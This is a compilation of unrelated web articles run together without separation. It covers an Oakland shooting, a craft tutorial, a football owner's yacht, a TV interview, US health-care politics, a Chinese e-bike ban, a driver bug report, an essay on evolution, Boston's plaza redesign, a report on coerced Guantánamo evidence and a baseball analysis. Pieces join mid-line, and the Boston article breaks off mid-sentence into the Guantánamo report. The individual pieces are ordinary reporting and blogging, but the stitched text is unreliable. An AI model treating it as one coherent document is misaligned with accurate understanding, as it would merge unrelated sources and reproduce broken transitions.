When officers arrived at the scene Friday, the man began shooting at them, and one Oakland officer returned fire, Watson said. Watson would not release the gunman’s name, but neighbors identified him as Enjaian.
“This is extremely concerning for the Oakland Police Department,” Watson said. “We have a lot of traffic that comes through this area. We also have several schools in the area.”
A motive for the shooting was under investigation. Helicopter video from KGO-TV showed a man with a rifle pointing the weapon out of the second story of a home, spray-painting what appeared to be eyes onto the garage door of a different home, and spray-painting an obscene picture on a car.
The California Highway Patrol was notified at 9:14 a.m. that an active shooter prompted a closure of eastbound I-580 at Golf Links Road, officials said. The agency reported shortly before 10 a.m. that the suspect was detained by the Oakland Police Department and the interstate was reopened. Video also showed a police car with what appeared to be bullet holes in the windshield.
Oakland Police Officers investigate a shooting at 98th Avenue and Golf Links Road in Oakland, CA, on Friday February 17, 2017. Oakland Police Officers investigate a shooting at 98th Avenue and Golf Links Road in Oakland, CA, on Friday February 17, 2017. Photo: Michael Short, Special To The Chroincle Buy photo Photo: Michael Short, Special To The Chroincle Image 1 of / 9 Caption Close Police kill man who opened fire with rifle in Oakland 1 / 9 Back to Gallery
“At first I thought (the bullets were) firecrackers. Then I thought, ‘How odd. This is usually not a day for firecrackers.’ Then I heard police cars coming, and I thought, ‘They’re coming here, aren’t they?’” said Cheryl Delahoussaye, Enjaian’s neighbor, who added that she saw Enjaian vandalizing homes in the neighborhood before police stopped him.
Barack Obama Academy was evacuated, and Bishop O’Dowd High School was put on lockdown after police called and asked those inside to shelter in place. The shooter was firing at officers on the south side of the school, Watson said.
On- and off-ramps for eastbound and westbound I-580 on 98th street in Oakland were reopened by about 3 p.m., almost six hours after the shooting.
Jenna Lyons, Sarah Ravani and Michael Bodley are San Francisco Chronicle staff writers. Email: jlyons@sfchronicle.com, sravani@sfchronicle.com, mbodley@sfchronicle.com Twitter: @JennaJourno, @SarRavani, @michael_bodleyI was recently asked to host a workshop at a local art gallery, to help others create bra art for a local auction coming up in June. With the proceeds going to a local caner foundation. With the beauty and strength I have seen women in my life shine through these types of ordeals I knew I had to participate.
Step #1: Stiffen cups of bra with Helmar Fabric Stiffener & Draping Liquid by brushing it on thickly. Allow to Dry (you may skip this step if the bra you have chosen is extremely padded with an under wire) TIP: this method works better on larger cup sizes.
Step #2: Strip all book spines from chosen books with an exacto knife. Remove as much of the cardboard backing inside the spine to make it as flexible as possible.
Step #3: Using Helmar Premium Craft Glue, glue the spines over the cups of the bra. They will slightly overlap near the under wire due to the curvature of the cup. Allow to dry. TIP: clothes pins help hold them in place for a few min till the glue dries.
Step #4: Add embellishments! Adhered with Helmar Premium Craft Glue I used black lace, paper and fabric flowers, eyelash yarn and folded pieces of book pages punched with an edge punch. Using Helmar Gemstone Glue I adhered the pearls, and gemstone flowers.
Thank you all for your time visiting Helmar's blog. Don't forget we have a montly contest this month's can be found here : Helmar April Challenge- "Days-of-the-week"
Hope you have a Helmar-ific week!
L. Grace Lauer
Helmar Education Team MemberGet the biggest Liverpool FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Liverpool owner John W Henry has dipped into the transfer market to splash out an eye-watering £68m on a new 215-foot super-yacht.
The American, who is the majority shareholder of Liverpool owners Fenway Sports Group, spent the whopping amount on the luxury yacht which can reportedly accommodate 12 overnight guest in a master suite, three double cabins and two twins, and up to 17 crew in separate quarters.
The super-yacht, which was previously named Ester III, was formerly owned by Georgy Bedzhamov, but was snapped up by Henry after the Russian entrepreneur became wanted on fraud charges in his homeland.
Henry has since renamed the yacht 'Iroquois' and the property has a French classical theme throughout its interior, according to Yacht Harbour, as well as custom furniture and a hand-carved leather piece of artwork in the main stairwell.
Among the yacht's main features are an ornate fireplace in the main saloon, an infinity pool located aft of the main deck, an elevator, a spa center, a gym and a helipad located on the bow.
Other features of the stunning super-yacht include a hot tub, silk carpeting, gold leaf detailing, and Henry's new signing has a top speed of 15 knots (17mph).
The yacht was ordered to be sold by the Gibraltar Supreme Court after a claim was filed by mutli-national bank, BNP Paribas (Suisse) SA, and was listed for sale in August at £67.6m.
It is reported that proceeds from the yacht's sale will be distributed to creditors in the coming months.
Reds owner Henry rescued Liverpool Football Club from the poisonous reign of Tom Hicks and George Gillett in October 2010 when he and his business associates, who were then known as New England Sports Ventures (NESV), purchased the club for £300m.
Henry, who is worth close to £2 billion according to influential American business magazine Forbes, also owns the Boston Red Sox, the Boston Globe newspaper and a NASCAR racing team.Fans of The CW’s Crazy Ex-Girlfriend were crushed when co-star Santino Fontana (Greg) left the show last week, four episodes into Season 2. (RIP, #TeamGreg.) But star/co-creator Rachel Bloom (Rebecca) says Greg’s exit — or should we call it “Gregxit”? — was planned all along.
“We always knew this is how it would go,” she tells TVLine. “And we wanted to completely demolish the love triangle. Other shows have love triangles where the other person leaves. But in the back of your head, you’re always rooting for Ross and Rachel. We wanted to do something else, to say, ‘No, this just ends.'”
For the first season-plus of Crazy Ex-Girlfriend (Fridays, 9/8c), Greg had competed with his pal Josh Chan for Rebecca’s affections. But even Greg realized that his relationship with Rebecca was, as he sang last week, a total s—tshow. “This person has been repeatedly taken advantage of by Rebecca,” Bloom says. “And he ultimately can’t flourish as a person right now, as long as they are both in the same town. Because she will continue to try to seduce him.”
Showrunner Aline Brosh McKenna adds that letting the Rebecca-Josh-Greg love triangle drag on any longer wouldn’t fit with what we know about Greg’s character. “In real life, at some point, if you don’t learn that this is not a good idea, you become not a smart person,” she says. “The character would lose respect for himself. It didn’t make sense, since he’s such a smart guy, that he wouldn’t be learning from his lessons.”
So Greg is gone, and Josh is still keeping his distance from Rebecca. So what does that mean for the show going forward? Bloom hints that “we get to spend the next few episodes just focusing on the dynamics between the women, and Rebecca finding out who she is without men. A little Bechdel [Test] going on. And you see the other women grow by leaps and bounds.” McKenna says Rebecca’s friendship with Paula takes center stage: “I would say Rebecca and Paula’s love story becomes the preeminent love story in that section.”
But all that girl power doesn’t mean Rebecca has given up on Josh. This week, in fact, “Brittany Snow will be coming on,” Bloom teases. The American Dreams alum “plays Josh’s new girlfriend, which causes big problems. It tests the Bechdel between Rebecca and Valencia,” she adds with a laugh. “They become kind of fixated on it.”
Plus, fans should know there’s another man about to enter Rebecca’s life. Scott Michael Foster (Greek) is joining the cast when the show returns from winter break in January, playing a lawyer who upends Rebecca’s professional life. And TVLine will have much more on him in the new year… so stay tuned.
Will you miss Greg? Are you ready for a new man in Rebecca’s life? Hit the comments, Crazy fans, and let us know where you stand.Democrats believe the GOP’s failed health care bill is so toxic that they launched a series of digital ads Monday arguing that those Republicans who voted for the repeal-and-replace plan in committee will pay a political price.
House Speaker Paul D. Ryan nixed the bill on Friday, sparing most Republicans from having to vote.
But dozens of GOP lawmakers had already walked the plank, voting to support the bill in three separate committees, and the Democratic Congressional Campaign Committee said all of those supporters are live targets.
“Republicans knowingly voted for a bill to raise premiums and deductibles, slap an age tax on older folks and rip insurance away from 24 million hardworking Americans,” said Rep. Ben Ray Lujan of New Mexico, chairman of the DCCC. “It’s critical that voters know where their representative stood on this legislation.”
Republicans are still trying to figure out how badly they’ve been damaged by the Obamacare fight, which saw Mr. Ryan and President Trump push lawmakers to vote on a repeal-and-replace bill that none of them were particularly enthusiastic about.
The bill made it through the House Ways and Means, Energy and Commerce and Budget committees earlier this month, all on the strength of GOP votes.
But after it became clear he didn’t have the votes to get the bill approved on the House floor, Mr. Ryan pulled it from consideration.
Jesse Hunt, spokesman at the National Republican Campaign Committee, said Republicans at least tried to do something, and said it’s Democrats who will pay a political price when Obamacare collapses.
“Ultimately, Democrats will have to answer for their steadfast support of Obamacare as the ongoing collapse adversely impacts millions of Americans,” Mr. Hunt said. “They’ve offered zero alternatives even as premiums skyrocket and choices dwindle.”
But Democrats said that Republicans, by trying their bill, now own the health care fight, and will suffer at the ballot box.
House Democrats saw the same dynamic in 2009 after they passed a bill to impose a cap-and-trade scheme on greenhouse gas emissions — only to see the legislation die without action in the Senate. That left a number of vulnerable Democrats with a controversial vote on their record, without actually getting a bill that passed.
Analysts said that vote, along with Obamacare’s original passage, cost Democrats dozens of seats in the 2010 election.
Although the GOP’s health care overhaul never made it to the House floor for a vote, most Republicans went on record declaring whether they supported the plan, and Democrats are racing to tear down those that did.
“After an underwhelming election last year, Democrats are feeling emboldened,” said Nathan Gonzales, editor and publisher of Inside Elections, a nonpartisan group that tracks campaigns. “They’ve been rallying the faithful against President Trump, but now have a specific piece of legislation to demonize.”
Mr. Gonzalez said the GOP bill’s failure also gives Democrats an opening to raise money and recruit candidates now.
The DCCC’s digital ad campaign focuses on 14 lawmakers that cast votes in favor of the bill during the committee process. The list includes several whose seats could be in play next year, including Reps. John J. Faso of New York, Carlos Curbelo of Florida and Jason Lewis of Minnesota.
But some GOP members thought to be relatively safe are also on the list, such as Rep. Chris Collins of New York, a top Trump ally who emerged as one of the bill’s most vocal defenders.
The online ads highlight Mr. Trump’s assertion that “everybody is going to be taken are of, much better than they are being taken care of now,” and an analysis from the Congressional Budget Office that found insurance premiums would increase under the proposal — and that 24 million people would lose coverage.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.Dr David Hon of DAHON and Mr Ma Zhongchao of the China Bicycle Association have condemned the proposed e-bike ban in China.
Recent legislation in Beijing, Shanghai, Guangzhou and coming soon to Shenzhen forbids the use of e-bikes across large swathes of the cities. Founder and CEO of DAHON, the world's largest manufacturer of folding bikes, Dr David Hon was compelled to write an open letter to the public, and to the government, speaking out against the regulations and urging lawmakers to draft “laws more conducive to environmental protection”.
The China Bicycle Association (CBA) responded with an official statement on April 12 2016. CBA Director Mr. Ma Zhongchao spoke out in support of Dr. David Hon's letter, stating that for Shenzhen and other municipalities to take prohibitive action on e-bikes will have a profound and direct impact on local e-bike users.
Mr. Ma said that a “one size fits all” approach reflects lazy political thinking and that this simple and crude solution is not the first of its type. The bicycle industry has strongly expressed its opposition to such legislation in the past and has repeatedly stressed that local governments and authorities should think twice, act intelligently and with greater courage to address urban management problems. Mr. Ma shared that although the CBA's concerns regarding the regulations were recently submitted to the Guangzhou Municipal People’s Congress for consideration, they are yet to receive any feedback.
Mr. Ma told reporters that empathy for the livelihood needs of ordinary people must be taken into account as well as the implementation of less stressful commuting: "Cities need tangible measures to protect the legitimate rights of way of various means of transport, eschewing costly, car-centric systems". He continued to state that the CBA has never opposed standardised management and has no objection to reasonable limiting measures.
The ban on E-bikes has caused widespread discontent and confusion among the Chinese population, the duo said, adding that the decision is particularly harmful to the poor and appears entirely at odds with the government’s stated policy to promote green energy and cut pollution.
Electric bikes are prohibited on ten major Beijing streets and across Shenzhen, Guangzhou, and other major cities. Mr. Ma Zhongchao and Dr. David Hon were clear that all told, there is no reason to forbid the use of electric bikes. As the experience of many other countries such as Sweden and Denmark have shown, mainland China should encourage the use of bicycles, traditional or electric, to help cut back on traffic and smog.Registered here just to post this. I manage the IT department for a mid-size business. Many of our machines use Windows 10. Many of our machines use AMD Radeon R7 250 video cards for dual monitors. I downloaded the latest driver yesterday (whql-radeon-software-crimson-relive-17.9.3-win10-64bit-oct2.exe). When I went to install it it did the usual check and gave me the option to install 17.10.1, instead. I chose this and chose "Clean install", as I've been doing for years. After the systems rebooted and driver installation finished I noticed that they were missing all their printers. No error messages, no services stopped, rebooting again did not help. It was as if every printer on the system had simply been right-clicked and removed. This problem is identical and consistent on six different machines (all Dell OptiPlex business-class systems with a variety of network-connected HP enterprise printers, also running the latest drivers from HP).
Not sure what the issue is, nothing shows up in the event logs, but I'm having to reinstall a lot of printers today. :-(I was thinking about doing this for THUNK, but I always try to keep THUNK upbeat, & I don’t know if I can do that here. So spoiler warning: serious downers.
One of the interesting concepts associated with evolution is the evolutionary local maximum. Imagine two hills right next to each other: a tall one & a shorter one. Imagine a torrential downpour begins to flood the area, & animals of various types are forced to flee to these hills to keep from drowning. Some are lucky enough to have started off next to the big hill, but some head for “high ground” on the short one.
Clever creatures might figure out that their chances are better on the other hill, & if the water hasn’t gotten too deep, can brave the rising waterline trying to swim over. But after a certain point, the water has become so deep (& the distance between the hills so great) that trying to switch hills is tantamount to suicide – they’d simply drown before they got there. So they climb as quickly as they can to the top of the short hill & hope that the rain stops soon.
This is why we often get suboptimal evolutionary “designs” – chlorophyll can’t capture energy from green light, DNA is prone to kinking up & causing cancer, that sort of stuff. There are obviously better solutions, but the rising tide of survival waits for no creature, & if you spend too much time tinkering to find the best hill to climb, you’ve already drowned.
Of course, you can also drown on the shorter hill; we call that “extinction.”
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This phenomenon isn’t restricted to evolution; as game theorists know intimately, any scenario with some sort of pressure to find competitive advantage is subject to “terminal” local maxima. Businesses are an obvious example here, but so are cultures, ideas, nations, & politics. Occasionally, we can navigate from one hill to another, frequently at great cost (e.g. the American revolutionary war transitioning from a precarious colonialist monarchy to a more stable local democracy), but even with a known superior solution, transitioning can sometimes be logistically impossible.
Some examples:
1. The American medical education system is very clearly & unapologetically exploitative, requiring incredible sacrifices of time & quality of life from people who want to be doctors (so hospitals can bleed free labor from them). This causes a shortage of doctors, which forces hospitals to exploit med students to stay profitable & open.
2. The method we use for federal elections (a plurality vote) is demonstrably inferior to other methods (e.g. ranked choice voting). But everyone who is elected by that method has at least some incentive to preserve it, & advocating for something new is politically dangerous.
3. App developers largely succeed/fail based on how much attention they can demand from users. Ideally, they’d build apps to maximize user wellbeing (which would probably include shutting off our phones), & given a large enough user base, that strategy could be very successful, but any developer who “defects” to a less attention-grabbing app is at a disadvantage.
4. As businesses grow, the infrastructure laid in their startup days becomes embedded & calcified under necessity – software, processes, etc. become increasingly essential for daily operation as the company gets bigger, & replacing/updating them with something better gets more costly over time.
We can see the higher ground from here, but I don’t know if there’s actually any practical way to get there, & I don’t know when or if the water will swallow us up here on our little hills. That scares the hell out of me.Bostonians are going to redesign a major feature of the downtown area. City of Boston
The city has made a habit of soliciting insight on municipal projects from its well-educated residents—but with strict guidelines.
There may not be a bigger waste of Boston real estate than City Hall Plaza. The large public square sits a mere 400 feet from Faneuil Hall and Quincy Market. It's just south of the city's vibrant North End. And a half mile to the west is picturesque Boston Common. Nearly every notable attraction in downtown Boston is within walkable distance of the open-air promenade. But it's a total eyesore—20,000 square feet of vacant brick. Every now and then it comes alive with a music festival or a giant TV screen set up for a sporting event. Then, like moths to a flame, Bostonians meander to the square. Otherwise, it sits idle and bald. But that may finally change. Mayor Marty Walsh has requested proposals for a dramatic remodeling of the plaza. Walsh's vision for the space isn't revolutionary: He's alluded to wanting a leisurely space made for recreation and relaxation, according to City Hall. In other words, he wants a new public park. Still, the project is noteworthy because of one detail: He wants Boston residents to help design it.
Using the hashtag #CityHallPlaza, the mayor's office has caused a stir by crowdsourcing ideas for the project. Applying this strategy to such a conspicuous area of downtown is a big risk. For one, it requires executable ideas by people with engineering skills rather than mere civic enthusiasm. Nevertheless, a few seemingly legitimate ideas have already been cast out there: One architect uploaded to Twitter a detailed rendering of a lush, green plaza. And if any municipality can turn a citywide competition into a real project, it's Boston. The city has a recent track record of doing just that. In July of 2014, 70 submissions for a city-hosted competition called Public Space Invitational led to funding for nine small-scale civic projects. Shortly after that event, Boston organized a 36-hour hackathon. The winning hack turned into Permit Finder—a digital program that has streamlined the city's permitting process—which went live in the fall. And during this winter's massive snowfall, the mayor propositioned local entrepreneurs, academics, and innovators to come up with alternative ways to remove snow. Roughly one year into his first term as mayor, Marty Walsh has hosted at least four crowdsourcing competitions with the intention of turning the best ideas into action. The success rate of these types of public engagement projects is difficult to asses. But Daren Brabham, an academic and expert on the topic, estimates a "majority" of government-led crowdsourcing initiatives flop. So why has Boston had so much success? Daniel Koh, the mayor's chief of staff, says its partly because of the types of minds living in Boston.
"We're such a young city and intellectually vibrant city that residents are equipped to use technology to solve public issues," Koh says. Boston consistently ranks among the youngest major cities in the country. And its density of universities, including MIT and Harvard, make it a hub for STEM activity. So when Boston does crowdsource input for public projects, some recommendations are undoubtedly coming from tech-savvy young people and wildly smart engineers and scientists. That explains part of Boston's successful run with crowdsourcing. But what really gets these campaigns off the ground is a robust media campaign. Cities are changing fast. Keep up with the CityLab Daily newsletter. The best way to follow issues you care about. Subscribe Loading... "Really good online campaigns, whether crowdsourcing or crowdfunding, they all require good online community management and good promotional principles," says Daren Brabham, an expert on the topic and author of the forthcoming book Crowdsourcing in the Public Sector. At its heart, #CityHallPlaza is a planning issue focused on beautifying underused public land. But getting there hinges first on a blitzkrieg of promotion. Wonky urban planning comes much later. "[Proposals] that have struggled to get participants... really don't have a coherent PR campaign in place," Brabham says. If Boston doesn't get the masses interested and excited about the initiative, the campaign will simply " |
Al Rabiah's confessions, concluding that he had concocted them under intense coercion. Even statements that the government insisted Al Rabiah had made under noncoercive, or "clean," questioning were tainted, U.S. District Judge Colleen Kollar-Kotelly ruled, and she ordered that Al Rabiah be released.
The government has lost eight of 15 cases in which Guantánamo inmates have said they or witnesses against them were forcibly interrogated, according to ProPublica's review of 31 published decisions that resolve lawsuits filed by 52 captives who said they've been wrongfully detained. Because some of the judges' opinions are heavily redacted, it's impossible to be sure there aren't more cases in which the government offered interrogation evidence collected under questionable circumstances. More than 50 such lawsuits are still pending, two years after the U.S. Supreme Court gave Guantánamo inmates the green light to challenge their detention in the U.S. District Court for the District of Columbia.
Judges rejected government evidence because of interrogation tactics ranging from verbal threats to physical abuse they called torture. Even in the seven cases the government won, the judges didn't endorse aggressive methods. In six, they decided the detainees' stories of abuse simply weren't credible or were irrelevant to the outcome. In one, the prisoner had repeated self-incriminating statements in military hearings, which the judge viewed as less intimidating than the interrogations he found unacceptable.
The 15 decisions offer the most detailed accounting to date of how information obtained from the Guantánamo inmates through controversial tactics is standing up in court. They come in cases initiated by detainees seeking release via a writ of habeas corpus, not cherry-picked by prosecutors. Criminal law experts say the judges' opinions help explain why the government has decided not to pursue criminal convictions against some detainees. Such evidence would pose even greater problems in criminal trials, for which requirements of proof are more demanding.
The Obama administration has already said that at least 48 of the remaining 176 prisoners at Guantánamo will be held indefinitely because they're too dangerous to release but can't be prosecuted successfully in military or civilian court. They've said that coercion-tainted evidence is one obstacle.
In most of the cases the government lost, the judges rejected statements even from the "clean" sessions that the Bush administration began administering in 2002 to collect evidence to use in court. The fear prisoners experienced during improper interrogations bled over to corrupt those statements too, the judges said. In Al Rabiah's case, Kollar-Kotelly found that interrogators fed him incriminating details "that the Government has not even attempted to rely on as reliable or credible," including a story of his handing Osama bin Laden "a suitcase full of money." Then interrogators used "abusive techniques," such as sleep deprivation, threats of torture and other methods described in redacted passages, to get him to admit to them. Al Rabiah is now free in his home country, Kuwait.
"We thought all along that this could happen," said Brittain Mallow, the former commander of the Department of Defense Criminal Investigation Task Force, who supervised the clean interviews from 2002 to 2005. "There was no question in our minds that that would be a defense strategy, to say, 'This person was treated badly, and you can't trust anything he told anyone.' But we didn't control all the interviews of the detainees, so what we could do was limited."
Where the judges draw the line for acceptable tactics affects how interrogators question U.S. prisoners in ongoing hostilities, said Robert Chesney, a former adviser to President Barack Obama's Detainee Policy Task Force. In May, the U.S. Court of Appeals for the D.C. Circuit denied U.S. captives in Afghanistan the same right to legal review as the Guantánamo detainees, but after three prisoners sought a rehearing, the court this month ruled that they could present new evidence in a lower court to continue fighting their detention.
"You have to assume that, if you're in charge of a detention facility, you're operating in the shadow of these rulings," said Chesney, who teaches national security law at the University of Texas School of Law.
Lawyers familiar with the Guantánamo case files expect many of the remaining habeas cases will also turn on judges' assessments of interrogation evidence.
"I'm not aware of a single case that doesn't rely extensively on statements of detainees," said Philip Sundel, deputy chief defense counsel in the Defense Department's Office of Military Commissions. An administration review recently obtained by The Washington Post supports his assessment: "Much of what is known about such detainees comes from their own statements or statements made by other detainees during custodial debriefings."
At this point, the government has lost 37 of the 53 habeas cases that have been decided, most because it couldn't produce enough reliable evidence that the men were al-Qaida or Taliban militants.
No Do-Overs
The government is borrowing its clean-evidence approach from criminal law, by which prosecutors occasionally succeed in arguing that a change in time, scene or interrogator has reduced a suspect's fears enough that a court should accept his subsequent words as voluntary and true.
But almost no change has been enough to convince judges that the unusual pressures experienced by the Guantánamo inmates had been eased. Many of the detainees were aggressively interrogated at foreign prisons. Once at Guantánamo, each captive was questioned "dozens of times, over the course of weeks and months, by different entities, different persons, different interviewers, sometimes for completely different purposes and with different kinds of questions," Mallow said. Driven to get actionable intelligence, some interrogators used now widely criticized tactics such as prolonged sleep deprivation, sexual humiliation, stress positions, threats with military dogs and, as Mallow put it, "experimentation and ad hoc methodologies."
In the 15 decisions ProPublica reviewed, only once did the government succeed in persuading a judge that the taint of coercion had been removed from specific pieces of evidence. Moving detainees from harsh prisons abroad to Guantánamo didn't work, nor did sending in cordial interviewers rather than aggressive interrogators. In some cases, judges still saw taint in "clean" statements taken months or even years after coercive interrogations.
Last year, Justice Department lawyers tried to show that Farhi Saeed bin Mohammed was an al-Qaida fighter by using statements from another detainee, Binyam Mohamed, whose "harrowing" interrogation ordeal was described in an 81-page opinion by Senior Judge Gladys Kessler. For two years, beginning with his capture in April 2002, foreign interrogators holding him "at the behest of the United States" beat and kicked him, chained him to a wall, kept him half-standing for long stretches and cut him with a blade, including on his genitals. He was "fed information" and "told to verify it." During that time, he was also interrogated by the FBI and CIA.
The government's lawyers didn't contest the allegations of mistreatment but instead argued that the treatment of the informant didn't undermine the evidence he gave later. They submitted statements he'd made after being transferred to Guantánamo, where a U.S. interviewer "developed a relationship with him that was non-abusive and, in fact, cordial and cooperative."
But Kessler didn't buy that better treatment had done the trick. Given that, "throughout his detention, a constant barrage of physical and psychological abuse was employed in order to manipulate him and program him into telling investigators what they wanted to hear," she wrote, it was "more than plausible" that he had also manufactured details in nonabusive questioning.
Had Binyam Mohamed's statements been clean, Kessler suggested, they would have made all the difference in the case against the other detainee, who according to other, reliable evidence had some tie to "a terrorist pipeline." Instead, Kessler ordered in November that Farhi Saeed bin Mohammed be released. The government is appealing her decision.
Binyam Mohamed, the informant whose torture Kessler described so vividly, had already been released. He's now free in Britain, where he has mounted a public campaign to have the British officers he claims were complicit in his torture held accountable.
The U.S. government's bid to block Saeed Mohammed Saleh Hatim's habeas lawsuit met a similar fate. He had confessed to receiving military training from al-Qaida, but later said he'd made up the story in fear of punishment.
Government lawyers didn't contest that Hatim, while held for six months at a U.S. military base in Afghanistan, had been beaten repeatedly, kicked and "threatened with rape if he did not confess to being a member of the Taliban or al-Qaida," according to U.S. District Judge Ricardo Urbina's opinion. Instead, they submitted confessions he gave after arriving at Guantánamo, under cleaner questioning. But Urbina found that Hatim's confession was "tainted by torture" and ordered that he be released. The government is appealing the decision.
Mallow said he never thought the clean-interrogations strategy was surefire: "Do you believe the argument that, if someone was abused as a child, they're going to be affected for the rest of their life? I think it depends on the individual. You don't have an absolute argument that after 30 days that everything you do now is completely separate and clean."
Coercion challenges and other problems with detainees' reliability were pivotal in these cases, because the government had little to show besides questionable interrogation evidence. In Al Rabiah's case, for instance, the government's other proof amounted to statements from four detainees that Kollar-Kotelly rejected as unbelievable and even "demonstrably false." In Hatim's case, the government's other key evidence came from a fellow prisoner who, according to the military's own evaluators, suffered "severe psychological problems," including "psychosis" and "auditory hallucinations." Other judges had already rejected evidence from that informant, Urbina noted.
The Obama administration is appealing five of the eight coercion cases it lost, all to the D.C. Circuit. Three detainees who won habeas cases by alleging forced interrogations have been released, while four who lost have appealed. In at least one case, there is still time for the losing party to file an appeal.
Cleaner Evidence
The six cases the government has won despite a claim of coercion weren't endorsements of harsh interrogations. Rather, the judges ruled in the government's favor because they were skeptical of the detainees' claims of abuse or for other reasons.
Government lawyers scored their most direct victory in the case of Yasein Khasem Mohammad Esmail, convincing U.S. District Judge Henry Kennedy that the prisoner had invented much of his claim of mistreatment.
Esmail's lawyers had submitted three ever more elaborate accounts saying he had been threatened with death, thrown from a plane and buried to his neck in the ground, Kennedy said in his April 8 decision. To counter the detainee's claims, the government submitted medical records that undercut his story and produced sworn statements from two U.S. interrogators who denied using or witnessing most of the techniques Esmail described.
In a discussion that took up nearly half his 43-page opinion, Kennedy said he found the interrogators to be more credible than Esmail. Esmail had been "mistreated," he said, but his claims were "exaggerated."
Esmail's legal team consisted of S. William Livingston, Alan Pemberton and Brian Foster of Covington & Burling; David Remes, founder of the nonprofit Appeal for Justice; and Marc Falkoff, a professor at Northern Illinois University College of Law. Remes and Falkoff declined to comment, and counsel at Covington did not respond to e-mails.
Chesney, the University of Texas law professor, said Kennedy's decision was "a big win for the government. It shows that it is possible to rebut claims of torture, that the courts don't simply accept detainees' claims of abuse." But the judge's opinion didn't address the broader question of which interrogation methods will find acceptance in court. The judge thought Esmail was "a little bit abused," Chesney said, but not so abused as to poison the interrogation evidence. "It's bad that the courts are not speaking more clearly about where the line is. Is it torture? Is it cruel and inhuman treatment? Is it any kind of interrogation?"
In upholding the detention of another prisoner, Omar Mohammed Khalifh, Senior Judge James Robertson, now retired, said it was unnecessary to decide whether his interrogation statements were tainted, because the government's other evidence was enough to show he was an explosives instructor for al-Qaida.
The closest the government got to erasing the taint of substantial coercion was in its victory against Musa'ab Omar Al Madhwani. Senior Judge Thomas Hogan said "a variety of harsh interrogation techniques" had tainted 23 interrogation statements the government obtained from the detainee. But Hogan determined that the self-incriminating testimony the prisoner gave during formal military hearings was clean. Two years had passed between the worst abuse and the military hearings, Hogan reasoned, and at the hearings, Al Madhwani apparently spoke voluntarily and had been able to seek help from a military-assigned "personal representative."
The Criminal Arena
If coerced evidence is costing the government wins in the habeas cases, criminal law experts say, it would pose worse problems if those cases were prosecuted in civilian or military courts. The rules for excluding tainted evidence are stricter in both kinds of criminal trials, yet the government's need to marshal evidence is greater. To win a habeas case it need prove only that a detainee is "more likely than not" a member of the enemy, but to win a civilian or military criminal conviction it must prove guilt beyond a reasonable doubt.
A death threat alone could undermine a prosecution, if the believability of a prisoner's statement in response to that threat was crucial to the case, said retired U.S. Army Major General John Altenburg, who until November 2006 was in charge of deciding which Guantánamo detainees would face military commission trials. Altenburg is currently of counsel to Greenberg Traurig.
So far, only 24 of the 779 men held at Guantánamo at some point have been charged with a crime to be heard by a military commission. Four of them have been convicted. Only one detainee, Ahmed Khalfan Ghailani, has been moved from Guantánamo to face charges in a civilian court; that case is currently unfolding in federal court in New York.
A January report by the Guantanamo Review Task Force said tainted evidence was hindering prosecution "in some cases," but that it was not, overall, a "principal obstacle." Administration spokesmen declined to elaborate or to disclose the names of detainees who will not be tried for this reason.
The coercion issue has cropped up in a few high-profile instances. In the case of Omar Khadr, who was 15 when detained in 2002 for allegedly killing a U.S. Army medic in Afghanistan, the judge in his ongoing military commission trial ruled on Aug. 9 that prosecutors may use his confessions despite his claim that he spoke out of fear. In pretrial proceedings, a U.S. interrogator said he'd told Khadr a tale of an uncooperative Afghan teen who was raped by inmates in an American prison.
But a top Bush official revealed to journalist Bob Woodward that Mohammed al-Qahtani, the suspected 20th hijacker of Sept. 11, 2001, couldn't be prosecuted in a military commission because of "life-threatening" torture. And the military case against alleged Sept. 11 plotter Mohamedou Ould Slahi -- who recently won his habeas petition, partly by claiming coercion -- ended in 2007 before formal charges were filed, after the lead prosecutor said that key admissions had been extracted by torture.
Even if the administration doesn't prosecute any more of the Guantánamo prisoners, the legal damage caused by harsh interrogations is likely to keep emerging as their detention challenges move through court. At least 50 more prisoners have filed habeas lawsuits before federal judges in Washington.Very recently, Lorenzo Cain started for the American League in the All Star Game. He was entirely deserving of the honor and was not merely a product of the Royals’ impressive get-out-the-vote campaign. Cain entered the break with a 140 wRC+ in 322 PA, putting him 23rd among qualified hitters between two gentlemen named Jose Bautista and Joc Pederson. Cain’s offense alone would get most players into the Midsummer Classic, but it certainly helped that he’s been a superlative defensive outfielder and had 4.0 WAR at the end of the first half.
The best center fielder in baseball is Mike Trout. That’s not opinion or analysis, it’s a fact. It might as well be one of the laws of physics. Any debate on the matter is manufactured for shock value. Andrew McCutchen has a very strong case for the next spot on the list. It’s probably not bulletproof, but it’s difficult to refute. After McCutchen, the waters get a bit murkier, but Lorenzo Cain is a strong candidate for number three.
He’s been a four-win player in half a season, and if you extrapolate his season to 650 PA, he’s an 8.1-WAR player. If you’re more responsible and use a combination of ZiPS and Steamer, he’s tracking toward 6.0 WAR. Anyway you slice it, Cain is playing like one of the best players in baseball at this moment in time and he’s doing it with defensive numbers very much in line with his career norm.
He’s seventh among positions players in WAR this year. He’s sixth over the last calendar year. He’s 15th over the last two calendar years. Over the last three calendar years, he’s 21st in WAR among position players, despite being roughly 400 to 600 PA behind most of the players ahead of him on the list. Cain’s success isn’t a flash in the pan occurrence.
Cain’s defense was been great from the beginning. He’s been a quality base runner for almost his entire career. No one’s questioned his speed or defense in years and the line always seemed to be between role player and starter, contingent on the development of his bat. Cain’s evolution from solid to great has been about the 24 square feet on the third-base side of home plate. If he could put together an average profile at the plate, he was looking at a nice major-league career. But he had an 80 wRC+ in 2013 and it looked like he was headed for an inflection point season as the Royals geared up for a critical year in 2014.
Last year, Cain post a 111 wRC+ in 502 PA. The concern going forward was that it was buoyed by a.380 BABIP and held down by a 4.8 BB% and 21.4 K%. His ISO in 2014 was.110. There’s no wrong way to play gold-glove defense with an above-average bat, but a.380 BABIP served as a warning sign. You can post a.380 BABIP for a season, but doing it year after year is exceptionally difficult even if you’re a speedy line drive machine. Cain’s BABIP was probably going to come down and if he wanted to follow up his 4.9 WAR 2014 with another great one, he was going to need to find another trick at the plate. Cain arrived last year, but no one was convinced he had truly established himself a star.
You’ll have a job in the majors if you can play a +15-run center field, but you won’t necessarily be an impact player if your bat isn’t at least pushing league average. Cain had two potential ways to improve after 2014. He could cultivate his discipline, therefore offsetting BABIP regression with a higher number of balls in play, or he could start making those balls in play count more by getting them to travel farther. He could take the discipline route or the power route. He cleverly chose a way to achieve both.
